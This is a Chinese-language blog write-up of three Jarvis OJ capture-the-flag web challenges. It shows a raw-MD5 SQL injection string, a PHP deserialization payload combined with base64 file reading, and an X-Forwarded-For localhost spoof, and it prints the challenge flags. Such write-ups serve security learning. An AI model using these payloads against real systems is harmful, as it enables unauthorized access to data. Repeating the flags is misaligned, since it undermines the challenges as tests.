Jarvis OJ writeup Web

原创

quedgee 于 2017-10-27 17:17:08 发布 723 收藏

分类专栏： jarvisoj_writeup 文章标签： wp

**

login

**

参考了http://www.joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

抓包，发现了hint

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Fri, 27 Oct 2017 08:45:46 GMT
Server: Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.21
Hint: "select * from `admin` where password='".md5($pass,true)."'"
Content-Length: 143
Connection: close
Content-Type: text/html; charset=UTF-8

Wrong Password.
<form action="/" method="post">
  password: <input type="text" name="pass" />
  <input type="submit" value="submit" />
</form>
```


passwora,true). ;

m

思路比较明确，当md5后的hex转换成字符串后，如果包含`'or'<trash>`这样的字符串，那整个sql变成

```
SELECT * FROM admin WHERE pass = ''or'6<trash>'
```

很明显可以注入了。

提供一个字符串：ffifdyop

得出flag

```
Correct pass!! Your Flag: PCTF{R4w_md5_is_d4ng3rous}
```

然而不知道为什么提交flag没有用= =

神盾局的秘密

查看源代码，发现

```
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
```

猜测是用base64文件读取
尝试读取其中三个php文件：
index.php

```
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
```

shield.php

```
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file)
            && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE
            && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
```

showimg.php

```php
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE
        && stripos($f,'/')===FALSE
        && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>
```

shield.php中有提示说flag在pctf.php中，但是showimg.php中又有限制条件，所以肯定不会直接访问pctf.php，发现index.php中有反序列化，那么问题解决了

构造payload.php

```php
<?php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
    }
    $a = new Shield();
    $a->file = "pctf.php";
    echo serialize($a);
?>
```

可知 序列化后的结果为`O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}`

在index.php 中通过class传参再反序列化

题目很调皮

```php
<?php
    //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
    //Fake flag:
    echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
```

Localhost

这题比较简单，抓包，加上xff（X-Forwarded-For）为127.0.0.1，得到Flag~~~